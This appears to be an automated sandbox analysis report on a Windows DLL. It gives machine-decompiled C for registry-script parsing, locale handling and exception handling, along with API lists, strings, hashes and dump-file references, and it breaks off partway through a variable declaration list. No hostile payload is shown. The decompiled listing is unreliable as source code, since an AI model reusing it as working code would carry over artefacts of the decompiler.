																goto L46;
															}
															goto L94;
														}
														if(_t240 == 0xffffffff) {
															goto L46;
														} else {
															if(_t240 < 0) {
																L70:
																E6E8F7B50(_t128, 0xc000008c, 1);
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																_push(_t246);
																_t247 = _t249;
																E6E9278A0(0x200c);
																_t132 =  *0x6e93d008; // 0x6cddfca0
																_v148 = _t132 ^ _t249;
																_push(_t178);
																_t184 = _t202;
																_v8344 = 0;
																_push(_t240);
																_t241 = E6E8FE6B0(_t184, _v136,  &_v8344);
																if(_t241 >= 0) {
																	_t137 = _v8208;
																	 *_t184 = _t137;
																	if(0 !=  *_t137) {
																		_push(_t232);
																		while(1) {
																			_t241 = E6E8FDF40(_t184,  &_v8204);
																			if(_t241 < 0) {
																				break;
																			}
																			_t233 = 0;
																			_t243 = 0;
																			while(1) {
																				_t84 = _t243 + 0x6e936380; // 0x6e935cc0
																				if(lstrcmpiW( &_v8204,  *_t84) == 0) {
																					break;
																				}
																				_t243 = _t243 + 8;
																				_t233 = _t233 + 1;
																				if(_t243 < 0x70) {
																					continue;
																				} else {
																					L78:
																					_t241 = 0x80020009;
																				}
																				goto L79;
																			}
																			_t234 =  *((intOrPtr*)(0x6e936384 + _t233 * 8));
																			if(_t234 == 0) {
																				goto L78;
																			} else {
																				_t241 = E6E8FDF40(_t184,  &_v8204);
																				if(_t241 < 0) {
																					break;
																				} else {
																					if(0x7b != _v8204) {
																						goto L78;
																					} else {
																						_t210 = _a4;
																						_push(0);
																						if(_t210 == 0) {
																							_push(0);
																							_push(_t234);
																							_push( &_v8204);
																							_t241 = E6E8FEC30(_t184);
																							if(_t241 < 0) {
																								break;
																							} else {
																								goto L89;
																							}
																						} else {
																							_push(_t210);
																							_v8212 =  *_t184;
																							_push(_t234);
																							_push( &_v8204);
																							_t241 = E6E8FEC30(_t184);
																							if(_t241 >= 0) {
																								while(1) {
																									L89:
																									_t212 =  *_t184;
																									_t227 =  *_t212 & 0x0000ffff;
																									_t147 = _t227 - 9;
																									if(_t147 > 0x17) {
																										break;
																									}
																									switch( *((intOrPtr*)(( *(_t147 + 0x6e8fec14) & 0x000000ff) * 4 +  &M6E8FEC0C))) {
																										case 0:
																											goto L91;
																										case 1:
																											goto L92;
																									}
																								}
																								L92:
																								if(0 != _t227) {
																									continue;
																								} else {
																									break;
																								}
																							} else {
																								 *_t184 = _v8212;
																								E6E8FEC30(_t184,  &_v8204, _t234, 0, 0);
																								break;
																							}
																						}
																					}
																				}
																			}
																			goto L81;
																		}
																		L79:
																		_pop(_t232);
																	}
																	__imp__CoTaskMemFree(_v8208);
																	_t135 = _t241;
																}
																L81:
																_pop(_t242);
																_pop(_t185);
																return E6E904160(_t135, _t185, _v12 ^ _t247, _t227, _t232, _t242);
															} else {
																_t128 = _v112;
																if(_t240 >= _t128[6]) {
																	goto L70;
																} else {
																	_t227 =  *(_t128[4] + _t240 * 4);
																	if(_t227 == 0) {
																		goto L46;
																	} else {
																		_v88 = 0;
																		_t215 = _t227;
																		_v8 = 3;
																		_t244 = _t215 + 2;
																		do {
																			_t158 =  *_t215;
																			_t215 = _t215 + 2;
																		} while (_t158 != 0);
																		_t159 = E6E8FD9E0(_t178,  &_v100, _t227, _t215 - _t244 >> 1);
																		_v8 = 0;
																		if(_t159 == 0) {
																			goto L10;
																		} else {
																			if( *_t178 != _t232) {
																				do {
																					_t160 = CharNextW( *_t178);
																					 *_t178 = _t160;
																				} while (_t160 != _t232);
																			}
																			goto L38;
																		}
																	}
																}
															}
														}
													}
												}
											}
										}
									} else {
										if(E6E8FD9E0(_t178,  &_v100, _t232, 1) == 0) {
											goto L10;
										} else {
											L38:
											L39:
											_t237 = CharNextW( *_t178);
											 *_t178 = _t237;
											if( *_t237 == 0) {
												goto L67;
											} else {
												_t113 = _v108;
												_t197 = _v103;
												continue;
											}
										}
									}
								}
								goto L94;
							}
						}
					} else {
						L10:
						__imp__CoTaskMemFree(_v92);
						_t107 = 0x8007000e;
						L69:
						 *[fs:0x0] = _v16;
						_pop(_t230);
						_pop(_t238);
						_pop(_t179);
						return E6E904160(_t107, _t179, _v20 ^ _t246, _t227, _t230, _t238);
					}
				}
				L94:
			}

0x6e8fe6b3
0x6e8fe6b5
0x6e8fe6c0
0x6e8fe6c1
0x6e8fe6c4
0x6e8fe6c9
0x6e8fe6cb
0x6e8fe6d1
0x6e8fe6d5
0x6e8fe6db
0x6e8fe6dd
0x6e8fe6e0
0x6e8fe6e3
0x6e8fe6e8
0x6e8fea5b
0x00000000
0x6e8fe6f6
0x6e8fe6f6
0x6e8fe6f8
0x6e8fe6fe
0x6e8fe6fe
0x6e8fe701
0x6e8fe701
0x6e8fe704
0x6e8fe707
0x6e8fe70e
0x6e8fe717
0x6e8fe71a
0x6e8fe71f
0x6e8fe731
0x6e8fe739
0x6e8fe73c
0x6e8fe73c
0x6e8fe740
0x6e8fe75c
0x6e8fe75e
0x6e8fe747
0x6e8fe748
0x6e8fe74e
0x6e8fe753
0x6e8fe757
0x6e8fe757
0x6e8fe753
0x6e8fe761
0x6e8fe76a
0x6e8fe781
0x6e8fe783
0x6e8fe78b
0x6e8fe78d
0x6e8fe790
0x6e8fe793
0x6e8fe796
0x6e8fe79c
0x6e8fea3d
0x6e8fea45
0x6e8fea4f
0x6e8fea51
0x6e8fea57
0x00000000
0x6e8fe7a2
0x6e8fe7b0
0x6e8fe7b0
0x6e8fe7b6
0x00000000
0x00000000
0x6e8fe7be
0x6e8fe819
0x6e8fe819
0x6e8fe823
0x6e8fe85b
0x00000000
0x00000000
0x00000000
0x00000000
0x6e8fe825
0x6e8fe827
0x6e8fe835
0x6e8fe848
0x6e8fe851
0x00000000
0x6e8fe857
0x00000000
0x6e8fe857
0x6e8fe837
0x6e8fe839
0x6e8fe85d
0x6e8fe85f
0x6e8fe865
0x6e8fe86c
0x6e8fe86f
0x6e8fe875
0x00000000
0x6e8fe877
0x6e8fe877
0x6e8fe87a
0x6e8fe87f
0x00000000
0x6e8fe887
0x6e8fe887
0x6e8fe894
0x6e8fe898
0x6e8fe89d
0x6e8fe8a3
0x00000000
0x6e8fe8a9
0x6e8fe8a9
0x00000000
0x6e8fe8a9
0x6e8fe8a3
0x6e8fe87f
0x6e8fe867
0x6e8fe867
0x00000000
0x6e8fe867
0x6e8fe865
0x6e8fe829
0x6e8fe829
0x00000000
0x6e8fe829
0x6e8fe827
0x6e8fe7c0
0x6e8fe7c0
0x6e8fe7c5
0x6e8fe7c6
0x6e8fe7cb
0x6e8fe7d0
0x6e8fe816
0x6e8fe816
0x00000000
0x6e8fe7d2
0x6e8fe7d2
0x6e8fe7d6
0x00000000
0x6e8fe7d8
0x6e8fe7d9
0x6e8fe7dc
0x6e8fe7de
0x6e8fe7e1
0x6e8fe7e3
0x6e8fe7e6
0x6e8fe7ea
0x6e8fe7ec
0x6e8fe7fd
0x6e8fe801
0x6e8fe806
0x6e8fe80c
0x00000000
0x6e8fe812
0x6e8fe812
0x00000000
0x6e8fe812
0x6e8fe80c
0x6e8fe7d6
0x6e8fe7d0
0x00000000
0x6e8fe8ad
0x6e8fe8ad
0x6e8fe8b3
0x6e8fea20
0x00000000
0x6e8fea26
0x00000000
0x6e8fea26
0x6e8fe8b9
0x6e8fe8bc
0x6e8fe8be
0x6e8fe8c0
0x6e8fe8c6
0x6e8fe903
0x6e8fe925
0x6e8fe92d
0x6e8fe933
0x00000000
0x6e8fe90a
0x6e8fe910
0x6e8fe919
0x6e8fe91b
0x6e8fe91e
0x6e8fe923
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e8fe923
0x6e8fe93c
0x00000000
0x6e8fe93e
0x6e8fe93e
0x6e8fe944
0x6e8fe949
0x6e8fea33
0x6e8fea39
0x00000000
0x6e8fe94f
0x6e8fe94f
0x6e8fe95d
0x6e8fe962
0x6e8fe965
0x6e8fe967
0x6e8fe96a
0x6e8fe970
0x00000000
0x6e8fe972
0x6e8fe972
0x6e8fe975
0x6e8fe984
0x00000000
0x00000000
0x6e8fe986
0x6e8fe989
0x6e8fe98d
0x00000000
0x6e8fe98f
0x00000000
0x6e8fe98f
0x00000000
0x6e8fe98d
0x6e8fe994
0x00000000
0x6e8fe996
0x6e8fe998
0x6e8fea7e
0x6e8fea85
0x6e8fea8a
0x6e8fea8b
0x6e8fea8c
0x6e8fea8d
0x6e8fea8e
0x6e8fea8f
0x6e8fea90
0x6e8fea91
0x6e8fea98
0x6e8fea9d
0x6e8feaa4
0x6e8feaaa
0x6e8feaab
0x6e8feaad
0x6e8feab7
0x6e8feac7
0x6e8feacb
0x6e8feacd
0x6e8fead5
0x6e8feada
0x6e8feadc
0x6e8feae0
0x6e8feaee
0x6e8feaf2
0x00000000
0x00000000
0x6e8feaf4
0x6e8feaf6
0x6e8feb00
0x6e8feb00
0x6e8feb15
0x00000000
0x00000000
0x6e8feb17
0x6e8feb1a
0x6e8feb1e
0x00000000
0x6e8feb20
0x6e8feb20
0x6e8feb20
0x6e8feb20
0x00000000
0x6e8feb1e
0x6e8feb46
0x6e8feb4f
0x00000000
0x6e8feb51
0x6e8feb5f
0x6e8feb63
0x00000000
0x6e8feb65
0x6e8feb71
0x00000000
0x6e8feb73
0x6e8feb73
0x6e8feb76
0x6e8feb7a
0x6e8febba
0x6e8febbc
0x6e8febc5
0x6e8febcb
0x6e8febcf
0x00000000
0x00000000
0x00000000
0x00000000
0x6e8feb7c
0x6e8feb7e
0x6e8feb7f
0x6e8feb87
0x6e8feb8e
0x6e8feb94
0x6e8feb98
0x6e8febd5
0x6e8febd5
0x6e8febd5
0x6e8febd7
0x6e8febda
0x6e8febe0
0x00000000
0x00000000
0x6e8febe9
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6e8febe9
0x6e8febfb
0x6e8fec00
0x00000000
0x6e8fec06
0x00000000
0x6e8fec06
0x6e8feb9a
0x6e8feba6
0x6e8febb0
0x00000000
0x6e8febb0
0x6e8feb98
0x6e8feb7a
0x6e8feb71
0x6e8feb63
0x00000000
0x6e8feb4f
0x6e8feb25
0x6e8feb25
0x6e8feb25
0x6e8feb2c
0x6e8feb32
0x6e8feb32
0x6e8feb34
0x6e8feb37
0x6e8feb3a
0x6e8feb43
0x6e8fe99e
0x6e8fe99e
0x6e8fe9a4
0x00000000
0x6e8fe9aa
0x6e8fe9ad
0x6e8fe9b2
0x00000000
0x6e8fe9b8
0x6e8fe9b8
0x6e8fe9bf
0x6e8fe9c1
0x6e8fe9c5
0x6e8fe9d0
0x6e8fe9d0
0x6e8fe9d3
0x6e8fe9d6
0x6e8fe9e4
0x6e8fe9e9
0x6e8fe9ef
0x00000000
0x6e8fe9f5
0x6e8fe9f7
0x6e8fea00
0x6e8fea02
0x6e8fea08
0x6e8fea0a
0x6e8fea0e
0x00000000
0x6e8fe9f7
0x6e8fe9ef
0x6e8fe9b2
0x6e8fe9a4
0x6e8fe998
0x6e8fe994
0x6e8fe970
0x6e8fe949
0x6e8fe93c
0x6e8fe8c8
0x6e8fe8d5
0x00000000
0x6e8fe8db
0x6e8fe8db
0x6e8fe8e1
0x6e8fe8e5
0x6e8fe8e7
0x6e8fe8ed
0x00000000
0x6e8fe8f3
0x6e8fe8f3
0x6e8fe8f9
0x00000000
0x6e8fe8f9
0x6e8fe8ed
0x6e8fe8d5
0x6e8fe8c6
0x00000000
0x6e8fe8b3
0x6e8fe7b0
0x6e8fe76c
0x6e8fe76c
0x6e8fe774
0x6e8fe77a
0x6e8fea60
0x6e8fea63
0x6e8fea6b
0x6e8fea6c
0x6e8fea6d
0x6e8fea7b
0x6e8fea7b
0x6e8fe76a
0x00000000

APIs

CoTaskMemAlloc.OLE32(6E8FDE78,6CDDFCA0,00000000,00000000), ref: 6E8FE748
CoTaskMemFree.OLE32(00000000,6CDDFCA0,00000000,00000000), ref: 6E8FE774
CharNextW.USER32(?,00000000), ref: 6E8FE7D9
CharNextW.USER32(00000000), ref: 6E8FE7DE
CharNextW.USER32(00000000), ref: 6E8FE7E3
CharNextW.USER32(00000000), ref: 6E8FE7E8
CharNextW.USER32(?), ref: 6E8FE830
CharNextW.USER32 ref: 6E8FE840
CharNextW.USER32(00000000,6CDDFCA0,00000000,00000000), ref: 6E8FE8BA
CharNextW.USER32 ref: 6E8FE8E3
CharNextW.USER32(00000000), ref: 6E8FE917
CoTaskMemFree.OLE32(00000000), ref: 6E8FE92D
lstrcmpiW.KERNEL32(?,?), ref: 6E8FE97C
CharNextW.USER32 ref: 6E8FEA02
CoTaskMemFree.OLE32(00000000), ref: 6E8FEA33
CoTaskMemFree.OLE32(00000000,6CDDFCA0,00000000,00000000), ref: 6E8FEA51
lstrcmpiW.KERNEL32(?,6E935CC0,?,00000000,C000008C,00000000,00000000), ref: 6E8FEB0D
CoTaskMemFree.OLE32(00000000,C000008C,00000000,00000000), ref: 6E8FEB2C
CharNextW.USER32(?,?,00000000,00000000,00000000,?), ref: 6E8FEBF1

Strings

HKCU{Software{Classes, xrefs: 6E8FE7F5
HKCR, xrefs: 6E8FE7C0
}}, xrefs: 6E8FE88C

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: CharNext$Task$Free$lstrcmpi$Alloc
String ID: }}$HKCR$HKCU{Software{Classes
API String ID: 2337762536-1142484189
Opcode ID: 2a901a7ba077bab05a25cb19c0eb94e805d7ff1ad455a89207f6796c50d27373
Instruction ID: 983f4d1f15886fff8801c576265b55b65be713d489de30c56f68f8cc6af1baa6
Opcode Fuzzy Hash: 2a901a7ba077bab05a25cb19c0eb94e805d7ff1ad455a89207f6796c50d27373
Instruction Fuzzy Hash: 45F1F331A14319DFDF119FE8C894B9EBBB5FF467A4F004869E905EB284E7309846CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6E924610, Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 253COMMON

Download Yara Rule

APIs

Part of subcall function 6E91897C: GetLastError.KERNEL32(00000000,00000000,00000004,6E90B7B1,00000000,00000000,00000000,?,6E91D694,00000000,00000000,?,00AA6658,00000000), ref: 6E918981
Part of subcall function 6E91897C: SetLastError.KERNEL32(00000000,FFFFFFFF,000000FF,?,6E91D694,00000000,00000000,?,00AA6658,00000000), ref: 6E918A1F

GetACP.KERNEL32(00000055,?,?,?,?,?,6E919DCB,?,?,?,?,?,?,00000004), ref: 6E9246D1
IsValidCodePage.KERNEL32(00000000,00000055,?,?,?,?,?,6E919DCB,?,?,?,?,?,?,00000004), ref: 6E9246FC
_wcschr.LIBVCRUNTIME ref: 6E924790
_wcschr.LIBVCRUNTIME ref: 6E92479E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,6E919DCB,00000000,6E919EEB), ref: 6E924861

Strings

utf8, xrefs: 6E9247CE

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8
API String ID: 4147378913-905460609
Opcode ID: b91ebcfdfbd46b9d4d23b4bffc757b2f1214c6e0d7c2e36cb2dab29af7a672f1
Instruction ID: a4b4b0d85ae09f5f1d85f93ea25cb50267942f74b4731b7130fd1367ce54160b
Opcode Fuzzy Hash: b91ebcfdfbd46b9d4d23b4bffc757b2f1214c6e0d7c2e36cb2dab29af7a672f1
Instruction Fuzzy Hash: CA710771624606AEEF149BB5DC41BE673ACEF99704F104839E519DB188EB70D8428FA0

Uniqueness

Uniqueness Score: -1.00%

Function 6E902C70, Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 404COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(6E8F0000,?,00000104), ref: 6E902E5C
GetModuleHandleW.KERNEL32(00000000), ref: 6E9030C6

Part of subcall function 6E8F7B50: RaiseException.KERNEL32(?,?,00000000,00000000), ref: 6E8F7B5D

Strings

Module, xrefs: 6E903171
Module_Raw, xrefs: 6E9031A0
REGISTRY, xrefs: 6E9031F2

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Module$ExceptionFileHandleNameRaise
String ID: Module$Module_Raw$REGISTRY
API String ID: 1728487212-549000027
Opcode ID: 0c82e2668ea39355815b0c5f56c0a993e35154d5355c3c6b134bf3bdb078d330
Instruction ID: 0a8e915e882c65a159a0b0a449a447337b39f5da50524691f69e9b562399e821
Opcode Fuzzy Hash: 0c82e2668ea39355815b0c5f56c0a993e35154d5355c3c6b134bf3bdb078d330
Instruction Fuzzy Hash: 32E193B5A016258BDF64DBA8DC64BDE73B8BF55308F4005ADD80EA7640EB74DE848F42

Uniqueness

Uniqueness Score: -1.00%

Function 6E907334, Relevance: 9.0, APIs: 6, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000C,6E907250,00000000,?,6E9073E8,00000000), ref: 6E907336
GetProcessHeap.KERNEL32(00000008,00000008,00000000,00000000), ref: 6E90735D
HeapAlloc.KERNEL32(00000000), ref: 6E907364
InitializeSListHead.KERNEL32(00000000), ref: 6E907371
GetProcessHeap.KERNEL32(00000000,00000000), ref: 6E907386
HeapFree.KERNEL32(00000000), ref: 6E90738D

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$Process$AllocFeatureFreeHeadInitializeListPresentProcessor
String ID:
API String ID: 1475849761-0
Opcode ID: cdee785429113ceae264089eb9f9c5a1e662f2a48140ca043001909b58bc8ed1
Instruction ID: 26a7a42a673c1b26e3147bef733d67635e3e5475e2852c84585ae8b01091c661
Opcode Fuzzy Hash: cdee785429113ceae264089eb9f9c5a1e662f2a48140ca043001909b58bc8ed1
Instruction Fuzzy Hash: B8F04472664B029FEF516F799909B1637F9AF86721F11442DFD8AD3280DB64C4409A50

Uniqueness

Uniqueness Score: -1.00%

Function 6E924DA4, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(51CEB70F,2000000B,00000000,00000002,00000000,?,?,?,6E9250CA,?,00000000), ref: 6E924E3D
GetLocaleInfoW.KERNEL32(51CEB70F,20001004,00000000,00000002,00000000,?,?,?,6E9250CA,?,00000000), ref: 6E924E66
GetACP.KERNEL32(?,?,6E9250CA,?,00000000), ref: 6E924E7B

Strings

OCP, xrefs: 6E924DF8
ACP, xrefs: 6E924DC2

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 68218184e9c4b636f7d2a6c7a2b39628ce3174cd5d7dc7088538839f55a02d2e
Instruction ID: 53d6429b2d37eac9a5a268d2b387ca4c4b5e115b27bf4881f06e548ec2315b05
Opcode Fuzzy Hash: 68218184e9c4b636f7d2a6c7a2b39628ce3174cd5d7dc7088538839f55a02d2e
Instruction Fuzzy Hash: 1621B522A74101AFFF65CFE5D900A8772AEAF44B20B424534E819D711CE732D943CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6E924F7F, Relevance: 7.7, APIs: 5, Instructions: 184COMMON

Download Yara Rule

APIs

Part of subcall function 6E91897C: GetLastError.KERNEL32(00000000,00000000,00000004,6E90B7B1,00000000,00000000,00000000,?,6E91D694,00000000,00000000,?,00AA6658,00000000), ref: 6E918981
Part of subcall function 6E91897C: SetLastError.KERNEL32(00000000,FFFFFFFF,000000FF,?,6E91D694,00000000,00000000,?,00AA6658,00000000), ref: 6E918A1F

Part of subcall function 6E91897C: _free.LIBCMT ref: 6E9189DE
Part of subcall function 6E91897C: _free.LIBCMT ref: 6E918A14

GetUserDefaultLCID.KERNEL32(00000055,?,?), ref: 6E92508B
IsValidCodePage.KERNEL32(00000000), ref: 6E9250D6
IsValidLocale.KERNEL32(?,00000001), ref: 6E9250E5
GetLocaleInfoW.KERNEL32(?,00001001,6E919DC4,00000040,?,6E919EE4,00000055,00000000,?,?,00000055,00000000), ref: 6E92512D
GetLocaleInfoW.KERNEL32(?,00001002,6E919E44,00000040), ref: 6E92514C

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID:
API String ID: 949163717-0
Opcode ID: a8a74762fb27f984db21a2d76d066a72d2cc033d5a287acf16f0e0d761a2074e
Instruction ID: fbca616e197f97e821db5af6d2a4628019e1c997e777ba5ed7811ace4aa8f920
Opcode Fuzzy Hash: a8a74762fb27f984db21a2d76d066a72d2cc033d5a287acf16f0e0d761a2074e
Instruction Fuzzy Hash: 5D516FB296420AAFEF51DFE5CC40AEA77BCAF55700F004879A918EB14CD771D9448FA2

Uniqueness

Uniqueness Score: -1.00%

Function 6E904E67, Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 6E904E73
IsDebuggerPresent.KERNEL32 ref: 6E904F3F
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6E904F5F
UnhandledExceptionFilter.KERNEL32(?), ref: 6E904F69

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: d636952dfff46d2fb8deb9cb110c858fc8e998976b6f537ac985eb1804006ff4
Instruction ID: b4875f3731a6a7e9f40dce2061a204bb658158604c83b1b1c4371b20e444dd72
Opcode Fuzzy Hash: d636952dfff46d2fb8deb9cb110c858fc8e998976b6f537ac985eb1804006ff4
Instruction Fuzzy Hash: 263147B5D152189BDF10DFA4DA89BCDBBB8AF18304F1040EAE50CAB240EB759B858F45

Uniqueness

Uniqueness Score: -1.00%

Function 6E90461A, Relevance: 6.0, APIs: 4, Instructions: 12COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000,?,6E90473A,6E92A3EC), ref: 6E90461F
UnhandledExceptionFilter.KERNEL32(6E90473A,?,6E90473A,6E92A3EC), ref: 6E904628
GetCurrentProcess.KERNEL32(C0000409,?,6E90473A,6E92A3EC), ref: 6E904633
TerminateProcess.KERNEL32(00000000,?,6E90473A,6E92A3EC), ref: 6E90463A

Memory Dump Source

Source File: 00000004.00000002.695542526.000000006E8F1000.00000020.00020000.sdmp, Offset: 6E8F0000, based on PE: true

Associated: 00000004.00000002.695535998.000000006E8F0000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695668643.000000006E92A000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.695728611.000000006E93D000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.695761098.000000006E940000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentTerminate
String ID:
API String ID: 3231755760-0
Opcode ID: 6dd5da3eece49db04e2ecad237d8ade6e1988f0e1d7a7b36453ad13b8a1c4625
Instruction ID: a0596de962232cd5d1e5be5b05db2afe60c923885a138f72d73077952d6af8f6
Opcode Fuzzy Hash: 6dd5da3eece49db04e2ecad237d8ade6e1988f0e1d7a7b36453ad13b8a1c4625
Instruction Fuzzy Hash: E1D0127305C504EFCF002BE0DB4DA483F29EF06222F004800F309C5042DBB644409B62

Uniqueness

Uniqueness Score: -1.00%

Function 6E8F8980, Relevance: 40.7, APIs: 20, Strings: 3, Instructions: 439
memoryCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E6E8F8980(int __ebx, signed int __ecx, signed int __edx, short* __edi, void* __esi, long long __fp0) {
				int _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				int _v48;
				signed int _v52;
				int _v56;
				int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				char _v79;
				int _v80;
				signed int _v84;
				int _v88;
				int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				int _v108;
				signed int _v112;
				int _v116;
				char _v117;
				int _v120;
				int _v124;
				int _v128;
				signed int _v132;
				signed int _v136;
				int _v140;
				int _v144;
				int _v148;
				short* _v152;
				signed int _v156;
				char _v172;
				int _v176;
				signed int _v180;
				int _v184;
				int _v188;
				int _v192;
				int _v196;
				int _v200;
				int _v204;
				int _v208;
				int _v212;
				int _v216;
				int _v220;
				signed int _v224;
				signed int* _v228;
				short* _v232;
				signed int _v244;
				int _v284;
				char _v292;
				signed int _v296;
				int _v316;
				signed int _v448;
				signed int _v496;
				int _v540;
				char _v548;
				signed int _v552;
				int _v564;
				char _v576;
				signed int _v580;
				int _v584;
				int _v600;
				signed int _v612;
				signed int _v616;
				char _v632;
				int _v696;
				char _v704;
				signed int _v708;
				int _v716;
				signed int _v788;
				intOrPtr _v820;
				char _v836;
				signed int _v844;
				char _v1368;
				intOrPtr _v1488;
				char _v1504;
				signed int _v1512;
				int _v1576;
				int _v1644;
				char _v1652;
				void* __ebp;
				signed int _t951;
				signed int _t952;
				signed int _t958;
				signed int _t959;
				intOrPtr _t966;
				signed int _t973;
				signed int _t979;
				signed int _t980;
				signed int _t982;
				signed int _t989;
				signed int _t995;
				signed int _t996;
				signed int _t1000;
				signed int _t1001;
				signed int _t1006;
				signed int _t1010;
				signed int _t1013;
				short* _t1016;
				int _t1018;
				signed int _t1024;
				signed int _t1025;
				signed int _t1026;
				intOrPtr* _t1027;
				signed int _t1028;
				signed int _t1029;
				intOrPtr* _t1033;
				signed int _t1037;
				signed int _t1045;
				signed int _t1055;
				signed int _t1056;
				signed int _t1057;
				signed int _t1058;
				signed int _t1059;
				signed int _t1061;
				signed int _t1063;
				signed int _t1065;
				signed int _t1067;
				signed int _t1069;
				short* _t1071;
				int _t1073;
				short* _t1077;
				int _t1078;
				short* _t1080;
				int _t1081;
				signed int _t1083;
				signed int _t1084;
				signed int _t1085;
				signed int _t1087;
				intOrPtr _t1109;
				signed int _t1113;
				signed int _t1118;
				signed int _t1122;
				signed int _t1123;
				signed int _t1124;
				signed int _t1127;
				signed int _t1128;
				signed int _t1129;
				signed int _t1131;
				signed int _t1133;
				signed int _t1134;
				void* _t1138;
				signed int _t1139;
				void* _t1140;
				signed int _t1141;
				signed int _t1142;
				signed int _t1146;
				signed int _t1147;
				signed int* _t1151;
				signed int _t1153;
				signed int _t1156;
				signed int _t1157;
				signed int _t1160;
				signed int _t1161;
				signed int* _t1165;
				signed int _t1167;
				signed int _t1170;
				signed int _t1174;
				signed int _t1175;
				signed int _t1180;
				signed int _t1184;
				signed int _t1185;
				signed int _t1186;
				signed int _t1189;
				signed int _t1190;
				signed int _t1191;
				signed int _t1193;
				signed int _t1195;
				signed int _t1196;
				void* _t1200;
				signed int _t1201;
				void* _t1202;
				signed int _t1203;
				void* _t1204;
				signed int _t1205;
				void* _t1206;
				signed int _t1207;
				void* _t1208;
				signed int _t1209;
				void* _t1210;
				signed int _t1211;
				signed int _t1212;
				signed int _t1216;
				signed int _t1217;
				signed int* _t1221;
				signed int _t1223;
